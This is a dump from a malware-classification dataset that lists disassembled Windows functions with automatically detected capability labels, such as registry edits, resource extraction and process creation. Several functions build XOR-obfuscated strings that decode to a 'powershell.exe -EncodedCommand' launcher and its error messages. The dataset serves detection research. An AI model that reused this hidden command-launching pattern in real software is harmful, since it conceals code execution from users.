joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400938cc
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x141a07888]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x141a03180]
test eax, eax
je 0x140093917
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x141a03180]
test eax, eax
jne 0x140093920
call fcn.140026eb8
test eax, eax
je 0x14009393c
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1419f9d58]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x140093944
xor eax, eax
jmp 0x1400939a1
test rbx, rbx
jne 0x140093964
lea rcx, str.ImageList_GetImageCount
call fcn.1400268fc
mov rbx, rax
test rax, rax
je 0x14009396f
mov qword [0x141a07888], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x140093984
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x140093986
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14009399f
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x140133520
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x141a0acf0]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x141a03180]
test eax, eax
je 0x14013356b
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x141a03180]
test eax, eax
jne 0x140133574
call fcn.140026eb8
test eax, eax
je 0x140133590
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1419f9d58]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x140133598
xor eax, eax
jmp 0x1401335f5
test rbx, rbx
jne 0x1401335b8
lea rcx, str.ChooseColorW
call fcn.14003784c
mov rbx, rax
test rax, rax
je 0x1401335c3
mov qword [0x141a0acf0], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x1401335d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x1401335da
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x1401335f3
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14013eab4
Capabilities:
Delete registry value

Disassembly:
sub rsp, 0x28
mov rcx, qword [rcx + 8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret
Function at 0x14013ebf0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x38
mov rcx, qword [rcx + 8]
lea rax, [r11 + 8]
lea r9, [r11 + 0x20]
mov qword [r11 - 0x10], rax
mov qword [r11 - 0x18], r8
xor r8d, r8d
mov dword [rsp + 0x40], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor edx, edx
test eax, eax
jne 0x14013ec32
mov ecx, dword [rsp + 0x58]
sub ecx, 4
neg ecx
sbb eax, eax
and eax, 0xd
test eax, eax
sete dl
mov eax, edx
add rsp, 0x38
ret

Function at 0x14013f040
Capabilities:
Query or enumerate registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x30
mov rdi, r9
mov rbx, r8
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x14013f112
test rbx, rbx
je 0x14013f118
test r9, r9
je 0x14013f11e
and qword [r8], 0
and dword [r9], 0
mov rcx, qword [rcx + 8]
mov qword [rax - 0x10], r9
and qword [rax - 0x18], 0
lea r9, [rax + 0x10]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14013f0fb
cmp dword [rsp + 0x48], 3
jne 0x14013f0fb
test eax, eax
jne 0x14013f0fb
cmp dword [rdi], eax
je 0x14013f0fb
mov ecx, dword [rdi]
call fcn.14001cf40
lea r9, [rsp + 0x48]
xor r8d, r8d
mov qword [rbx], rax
mov rcx, qword [rbp + 8]
mov rdx, rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x14013f0ef
cmp dword [rsp + 0x48], 3
jne 0x14013f0ef
test eax, eax
jne 0x14013f0ef
mov eax, 1
jmp 0x14013f0fd
mov rcx, qword [rbx]
call fcn.14001cf84
and qword [rbx], 0
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
call fcn.14001cfb8
int3
call fcn.14001cfb8
int3
call fcn.14001cfb8
int3

Function at 0x14013f3dc
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14013f3ed
xor eax, eax
jmp 0x14013f41b
mov rcx, qword [rcx + 8]
lea rax, [rsp + 0x40]
mov r9d, 4
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x28], r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret

Function at 0x14013f424
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x30
xor ebx, ebx
cmp dword [rcx + 0x28], ebx
je 0x14013f435
xor eax, eax
jmp 0x14013f459
mov rcx, qword [rcx + 8]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], r8
mov r9d, 3
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x30
pop rbx
ret
Function at 0x14018d5b4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
test byte [rdx + 4], 1
mov esi, r8d
mov rbx, rdx
mov rbp, rcx
je 0x14018d5dd
mov rdi, qword [rdx + 0x10]
jmp 0x14018d62e
mov rdx, qword [rdx + 0x10]
mov rcx, qword [rbx + 8]
mov r8d, 5
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x14018d5fe
call fcn.140031270
mov rcx, qword [rbx + 8]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x14018d618
call fcn.140031270
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
test rax, rax
jne 0x14018d62e
call fcn.140031270
call fcn.140028c30
cmp qword [rax + 0x68], 0
je 0x14018d648
mov rdx, rdi
mov rcx, rbp
call fcn.14018cb4c
mov rdi, rax
mov edx, esi
mov rcx, rdi
call fcn.14018d8ac
mov rcx, qword [rbp + 0xe8]
mov rsi, rax
test rcx, rcx
je 0x14018d66f
call qword [sym.imp.KERNEL32.dll_GlobalFree]
and qword [rbp + 0xe8], 0
test rsi, rsi
je 0x14018d67e
mov rdi, rsi
mov qword [rbp + 0xe8], rsi
or dword [rbx + 4], 1
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x10], rdi
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14018da1c
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov rdi, rcx
xor ebx, ebx
mov qword [rax - 0x18], rbx
mov r14, qword [0x141a0bee0]
and qword [rax + 8], rbx
xor esi, esi
mov eax, dword [0x141a03180]
test eax, eax
je 0x14018da68
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x141a03180]
test eax, eax
jne 0x14018da71
call fcn.140026eb8
test eax, eax
je 0x14018da8d
lea rdx, [rsp + 0x40]
mov rcx, qword [0x1419f9d58]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14018da98
xor eax, eax
jmp 0x14018db1c
test r14, r14
jne 0x14018dab5
lea rcx, str.CreatePropertySheetPageW
call fcn.14018dd18
test rax, rax
je 0x14018dae7
mov qword [0x141a0bee0], rax
mov eax, dword [rdi + 4]
mov ecx, 0x4000
test ecx, eax
jne 0x14018dad6
cmp dword [rdi], 0x60
jb 0x14018dad6
or eax, ecx
mov dword [rdi + 4], eax
mov rax, qword [0x1419f9d58]
mov qword [rdi + 0x58], rax
mov rcx, rdi
call qword [0x141a0bee0]
mov rbx, rax
mov qword [rsp + 0x20], rax
xor edi, edi
test rbx, rbx
sete dil
test edi, edi
je 0x14018dafe
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14018db00
xor esi, esi
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test edi, edi
je 0x14018db19
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rbx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x14018db34
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
xor edi, edi
mov dword [rax - 0x18], edi
mov rbx, qword [0x141a0bee8]
and qword [rax + 0x10], rdi
xor esi, esi
mov eax, dword [0x141a03180]
test eax, eax
je 0x14018db7f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x141a03180]
test eax, eax
jne 0x14018db88
call fcn.140026eb8
test eax, eax
je 0x14018dba4
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1419f9d58]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14018dbac
xor eax, eax
jmp 0x14018dc09
test rbx, rbx
jne 0x14018dbcc
lea rcx, str.DestroyPropertySheetPage
call fcn.14018dd18
mov rbx, rax
test rax, rax
je 0x14018dbd7
mov qword [0x141a0bee8], rax
mov rcx, r14
call rbx
mov edi, eax
mov dword [rsp + 0x20], eax
xor ebx, ebx
test edi, edi
sete bl
test ebx, ebx
je 0x14018dbec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14018dbee
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14018dc07
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x14018dc20
Capabilities:
Print debug messages

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x30
mov r14, rcx
or rdi, 0xffffffffffffffff
mov qword [rax - 0x18], rdi
mov rbx, qword [0x141a0bef0]
and qword [rax + 0x10], 0
xor esi, esi
mov eax, dword [0x141a03180]
test eax, eax
je 0x14018dc6f
lea rcx, str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [0x141a03180]
test eax, eax
jne 0x14018dc78
call fcn.140026eb8
test eax, eax
je 0x14018dc94
lea rdx, [rsp + 0x48]
mov rcx, qword [0x1419f9d58]
call qword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov ecx, 1
test eax, eax
cmovne esi, ecx
test esi, esi
jne 0x14018dc9e
or rax, 0xffffffffffffffff
jmp 0x14018dd00
test rbx, rbx
jne 0x14018dcbe
lea rcx, str.PropertySheetW
call fcn.14018dd18
mov rbx, rax
test rax, rax
je 0x14018dccb
mov qword [0x141a0bef0], rax
mov rcx, r14
call rbx
mov rdi, rax
mov qword [rsp + 0x20], rax
xor ebx, ebx
cmp rdi, 0xffffffffffffffff
sete bl
test ebx, ebx
je 0x14018dce2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
jmp 0x14018dce4
xor esi, esi
mov rdx, qword [rsp + 0x48]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
test ebx, ebx
je 0x14018dcfd
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x1401b4ddc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1401b4c44
Function at 0x140008ee4
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [0x140042a38]
movabs rcx, 0x2035125d59e033d6
movabs r10, 0x24b22dd77519204e
add r10, qword [rax + rcx]
mov rcx, rsi
mov r8d, 0xffffffff
mov r9d, 0x6c078965
call r10
mov rax, rsi
add rsp, 0x20
pop rsi
ret

Function at 0x14000d9e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000da32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000da32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000da32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000da32
cmp dword [rcx + 0x84], 0xe
jbe 0x14000da32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000da34
xor al, al
add rsp, 0x28
ret

Function at 0x14001b19c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001b2e4

Function at 0x140020080
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400200a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400200a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x140028cd0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140022580
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140028d71
cmp ebx, dword [rsp + 0x30]
je 0x140028d6a
test esi, esi
je 0x140028d6a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140028d45
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140028d52
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140028d2f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140028d56
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140028d73
mov eax, 1
jmp 0x140028d73
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140029c50
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140029c80
xor eax, eax
jmp 0x140029d43
mov rbp, rbx
cmp word [rax], si
je 0x140029ca5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140029c8c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140029c88
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140029b70
movsxd r14, eax
test eax, eax
jne 0x140029ce3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140029c79
mov rcx, r14
call fcn.140024404
mov rdi, rax
test rax, rax
jne 0x140029cfc
xor ecx, ecx
call fcn.1400239cc
jmp 0x140029cd8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140029b70
test eax, eax
jne 0x140029d2d
mov rcx, rdi
call fcn.1400239cc
jmp 0x140029d37
xor ecx, ecx
call fcn.1400239cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14002d964
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002d97a
mov al, 1
jmp 0x14002d9da
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002d98b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002d9d8
mov ecx, dword [rcx + 0x18]
nop
call fcn.140029d60
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002d9d8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002d9d8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002d9d8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002d9da
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140001240
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x110
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x108], rax
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140037a20
mov dword [rsp + 0x80], 0x68
mov dword [rsp + 0xbc], 1
xor eax, eax
mov word [rsp + 0xc0], ax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x68]
call fcn.140037a20
mov rcx, qword [rsp + 0x120]
call fcn.14000fdd0
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400013a7
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x51]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.1400014c0
mov rcx, rax
call fcn.1400100f0
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x54], eax
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x51]
call fcn.1400013f0
mov rcx, rax
call fcn.140010370
mov rdx, rax
lea rcx, [0x14005edc0]
call fcn.140008610
mov ecx, dword [rsp + 0x54]
mov edx, ecx
mov rcx, rax
call fcn.14000c9b0
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
mov rcx, rax
call fcn.140008610
lea rdx, [0x14000a6e0]
mov rcx, rax
call fcn.14000cb70
xor al, al
jmp 0x1400013cf
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rsp + 0x108]
xor rcx, rsp
call fcn.140015110
add rsp, 0x110
pop rdi
ret

Function at 0x1400013f0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x28
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x18], rax
mov byte [rsp], 0x54
mov byte [rsp + 1], 0x17
mov byte [rsp + 2], 0x26
mov byte [rsp + 3], 0x31
mov byte [rsp + 4], 0x35
mov byte [rsp + 5], 0x20
mov byte [rsp + 6], 0x31
mov byte [rsp + 7], 4
mov byte [rsp + 8], 0x26
mov byte [rsp + 9], 0x3b
mov byte [rsp + 0xa], 0x37
mov byte [rsp + 0xb], 0x31
mov byte [rsp + 0xc], 0x27
mov byte [rsp + 0xd], 0x27
mov byte [rsp + 0xe], 0x74
mov byte [rsp + 0xf], 0x32
mov byte [rsp + 0x10], 0x35
mov byte [rsp + 0x11], 0x3d
mov byte [rsp + 0x12], 0x38
mov byte [rsp + 0x13], 0x31
mov byte [rsp + 0x14], 0x30
mov byte [rsp + 0x15], 0x74
mov byte [rsp + 0x16], 0x7c
mov byte [rsp + 0x17], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x48]
mov rsi, rax
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x18]
xor rcx, rsp
call fcn.140015110
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140008050
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 0x36
mov byte [rsp + 1], 0x46
mov byte [rsp + 2], 0x59
mov byte [rsp + 3], 0x41
mov byte [rsp + 4], 0x53
mov byte [rsp + 5], 0x44
mov byte [rsp + 6], 0x45
mov byte [rsp + 7], 0x5e
mov byte [rsp + 8], 0x53
mov byte [rsp + 9], 0x5a
mov byte [rsp + 0xa], 0x5a
mov byte [rsp + 0xb], 0x18
mov byte [rsp + 0xc], 0x53
mov byte [rsp + 0xd], 0x4e
mov byte [rsp + 0xe], 0x53
mov byte [rsp + 0xf], 0x16
mov byte [rsp + 0x10], 0x1b
mov byte [rsp + 0x11], 0x73
mov byte [rsp + 0x12], 0x58
mov byte [rsp + 0x13], 0x55
mov byte [rsp + 0x14], 0x59
mov byte [rsp + 0x15], 0x52
mov byte [rsp + 0x16], 0x53
mov byte [rsp + 0x17], 0x52
mov byte [rsp + 0x18], 0x75
mov byte [rsp + 0x19], 0x59
mov byte [rsp + 0x1a], 0x5b
mov byte [rsp + 0x1b], 0x5b
mov byte [rsp + 0x1c], 0x57
mov byte [rsp + 0x1d], 0x58
mov byte [rsp + 0x1e], 0x52
mov byte [rsp + 0x1f], 0x16
mov byte [rsp + 0x20], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret

Function at 0x140008370
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x38
mov rax, qword [0x14005d8c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov byte [rsp], 0x61
mov byte [rsp + 1], 0x27
mov byte [rsp + 2], 0
mov byte [rsp + 3], 8
mov byte [rsp + 4], 0xd
mov byte [rsp + 5], 4
mov byte [rsp + 6], 5
mov byte [rsp + 7], 0x41
mov byte [rsp + 8], 0x15
mov byte [rsp + 9], 0xe
mov byte [rsp + 0xa], 0x41
mov byte [rsp + 0xb], 0x13
mov byte [rsp + 0xc], 0x14
mov byte [rsp + 0xd], 0xf
mov byte [rsp + 0xe], 0x41
mov byte [rsp + 0xf], 0x31
mov byte [rsp + 0x10], 0xe
mov byte [rsp + 0x11], 0x16
mov byte [rsp + 0x12], 4
mov byte [rsp + 0x13], 0x13
mov byte [rsp + 0x14], 0x32
mov byte [rsp + 0x15], 9
mov byte [rsp + 0x16], 4
mov byte [rsp + 0x17], 0xd
mov byte [rsp + 0x18], 0xd
mov byte [rsp + 0x19], 0x41
mov byte [rsp + 0x1a], 0x12
mov byte [rsp + 0x1b], 2
mov byte [rsp + 0x1c], 0x13
mov byte [rsp + 0x1d], 8
mov byte [rsp + 0x1e], 0x11
mov byte [rsp + 0x1f], 0x15
mov byte [rsp + 0x20], 0x4f
mov byte [rsp + 0x21], 0
lea rax, [rsp]
mov rdi, qword [rsp + 0x58]
mov rsi, rax
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140015110
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x1400022e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140002313
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140002356
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r11d, eax
add r11, rbx
and edi, 0xf
jbe 0x140002351
cmp rbx, r11
jae 0x140002356
dec edi
movzx eax, word [rbx]
lea rbx, [rbx + rax*2 + 2]
jne 0x140002340
cmp rbx, r11
jb 0x14000235a
xor eax, eax
jmp 0x140002366
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140003180
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rdx
lea r8, [rcx + 0x118]
mov rdi, rcx
mov rcx, rsi
mov edx, 0x3ef
call fcn.14001a864
lea r8, [rdi + 0x1f0]
mov edx, 0x3e8
mov rcx, rsi
call fcn.14001a864
lea r8, [rdi + 0x2c8]
mov edx, 0x3ed
mov rcx, rsi
call fcn.14001a804
mov edx, dword [rdi + 0x2c8]
mov r9d, 0x168
xor r8d, r8d
mov rcx, rsi
call fcn.14001ab50
lea r8, [rdi + 0x2d0]
mov edx, 0x3ef
mov rcx, rsi
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp fcn.14001ab80

